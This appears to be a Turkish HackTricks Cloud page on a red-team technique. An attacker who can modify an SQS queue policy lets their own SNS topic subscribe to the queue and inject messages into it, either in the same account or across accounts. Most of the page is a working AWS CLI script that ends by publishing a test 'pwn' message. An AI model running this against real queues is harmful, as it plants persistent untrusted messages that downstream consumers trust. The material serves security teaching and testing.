AWS – SQS Hesaplar Arası/Aynı Hesap Enjeksiyonu SNS Subscription + Queue Policy üzerinden
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Açıklama
Bir SQS kuyruk kaynak politikasını kötüye kullanarak saldırgan kontrolündeki bir SNS topic’in hedef SQS kuyruğuna mesaj yayınlamasına izin verin. Aynı hesapta, bir SNS topic’e yapılan SQS subscription otomatik olarak onaylanır; hesaplar arası durumda ise SubscriptionConfirmation token’ını kuyruktan okuyup ConfirmSubscription’ı çağırmanız gerekir. Bu, aşağı akıştaki tüketicilerin zımnen güvenebileceği güvenilmez mesaj enjeksiyonuna olanak sağlar.
Gereksinimler
- Hedef SQS kuyruk kaynak politikasını değiştirme yetkisi: hedef kuyruk üzerinde
sqs:SetQueueAttributes. - Saldırgan kontrolündeki bir SNS topic oluşturma/yayınlama yeteneği: saldırgan hesabı/topic üzerinde
sns:CreateTopic,sns:Publishvesns:Subscribe. - Sadece hesaplar arası: onay token’ını okumak ve
sns:ConfirmSubscriptionçağrısı yapmak için hedef kuyrukta geçicisqs:ReceiveMessage.
Aynı hesapta istismar
REGION=us-east-1
# 1) Create victim queue and capture URL/ARN
Q_URL=$(aws sqs create-queue --queue-name ht-victim-q --region $REGION --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
# 2) Create attacker SNS topic
TOPIC_ARN=$(aws sns create-topic --name ht-attacker-topic --region $REGION --query TopicArn --output text)
# 3) Allow that SNS topic to publish to the queue (queue resource policy)
cat > /tmp/ht-sqs-sns-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSTopicPublish","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"SQS:SendMessage","Resource":"REPLACE_QUEUE_ARN","Condition":{"StringEquals":{"aws:SourceArn":"REPLACE_TOPIC_ARN"}}}]}
JSON
sed -i.bak "s#REPLACE_QUEUE_ARN#$Q_ARN#g; s#REPLACE_TOPIC_ARN#$TOPIC_ARN#g" /tmp/ht-sqs-sns-policy.json
# Provide the attribute as a JSON map so quoting works reliably
cat > /tmp/ht-attrs.json <<JSON
{
"Policy": "REPLACE_POLICY_JSON"
}
JSON
# Embed the policy file contents as a JSON string
POL_ESC=$(jq -Rs . /tmp/ht-sqs-sns-policy.json)
sed -i.bak "s#\"REPLACE_POLICY_JSON\"#$POL_ESC#g" /tmp/ht-attrs.json
aws sqs set-queue-attributes --queue-url "$Q_URL" --region $REGION --attributes file:///tmp/ht-attrs.json
# 4) Subscribe the queue to the topic (auto-confirms same-account)
aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol sqs --notification-endpoint "$Q_ARN" --region $REGION
# 5) Publish and verify injection
aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGION
aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
Hesaplar arası notlar
- Yukarıdaki kuyruk politikası yabancı
TOPIC_ARN’e (saldırgan hesabı) izin vermelidir. - Abonelikler otomatik olarak onaylanmaz.
SubscriptionConfirmationmesajını okumak için hedef kuyruğa kendinize geçicisqs:ReceiveMessageizni verin ve ardındanToken’ını kullanaraksns confirm-subscriptionçağrısı yapın.
Etki
Olası Etki: SNS aracılığıyla güvenilen bir SQS kuyruğuna sürekli izinsiz mesaj enjeksiyonu; bu, istenmeyen işlemlere, veri kirliliğine veya iş akışı suistimaline yol açabilir.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

